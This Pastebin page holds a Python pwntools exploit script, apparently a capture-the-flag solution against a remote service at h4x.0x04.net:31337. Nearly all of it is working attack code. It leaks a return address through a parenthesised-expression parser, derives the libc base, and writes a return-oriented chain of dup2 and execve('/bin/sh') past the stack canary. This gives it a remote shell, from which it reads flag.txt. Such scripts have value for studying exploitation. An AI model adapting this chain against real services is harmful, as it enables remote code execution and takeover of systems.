Advertisement
Guest User

Untitled

a guest
Dec 17th, 2017
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.01 KB | None | 0 0
  1. from pwn import *
  2.  
  3. p = connect('h4x.0x04.net', 31337)
  4. # libc_elf = ELF('/lib32/libc-2.23.so') # my libc
  5. libc_elf = ELF('./libc-2.19.so') # remote libc
  6.  
  7. def pos_num(n):
  8.     return n if n >= 0 else 2**32 + n
  9.  
  10. def get_payload(n, c='+'):
  11.     return n * '(' + c + n * ')'
  12.  
  13. def send(n, c='+'):
  14.     payload = get_payload(n, c)
  15.     log.info('sending: ' + payload)
  16.     p.sendline(payload)
  17.     return int(p.recvline())
  18.  
  19. def after_canary(n, m, payload='+'):
  20.     payload = '0+' + get_payload(m - 1, payload)
  21.     return send(n - 1, payload)
  22.  
  23. def after_ret(n, m, k):
  24.     payload = '0+' + get_payload(k - 1)
  25.     return after_canary(n, m - 1, payload)
  26.  
  27. def put_ret_value(n, m, to_put):
  28.     to_put = reversed(to_put)
  29.     to_put = map(pos_num, to_put)
  30.     to_put = map(str, to_put)
  31.     payload = (len(to_put) - 1) * '(' + '0+' + ')+'.join(to_put)
  32.     return after_canary(n, m - 2, payload)
  33.  
  34. libc_start_main = pos_num(after_ret(31, 4, 16) - 243) # 247 - my libc, 243 - remote libc
  35. log.info('libc_start_main@libc: ' + hex(libc_start_main))
  36. libc_start_main_offset = libc_elf.symbols['__libc_start_main']
  37. libc_base = libc_start_main - libc_start_main_offset
  38. log.info('libc base address: ' + hex(libc_base))
  39.  
  40. dup2_offset = libc_elf.symbols['dup2']
  41. log.info('offset of dup2: ' + hex(dup2_offset))
  42. dup2 = libc_base + dup2_offset
  43. log.info('dup2@libc: ' + hex(dup2))
  44.  
  45. rop = ROP(libc_elf)
  46. pop_offset = rop.search(12)[0]
  47. pop = libc_base + pop_offset
  48.  
  49. execve_offset = libc_elf.symbols['execve']
  50. log.info('offset of execve: ' + hex(execve_offset))
  51. execve = libc_base + execve_offset
  52. log.info('execve@libc: ' + hex(execve))
  53.  
  54. binsh_offset = list(libc_elf.search('/bin/sh'))[0]
  55. log.info('offset of binsh: ' + hex(binsh_offset))
  56. binsh = libc_base + binsh_offset
  57. log.info('binsh@libc: ' + hex(binsh))
  58.  
  59. payload = [dup2, pop, 4, 0, dup2, pop, 4, 1, execve, 0, binsh, 0, 0]
  60. log.info('payload: ' + str(payload))
  61. put_ret_value(31, 4, payload)
  62.  
  63. p.sendline('cat flag.txt')
  64. log.info('flag: ' + p.recvline())
  65.  
  66. p.interactive()
  67. p.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement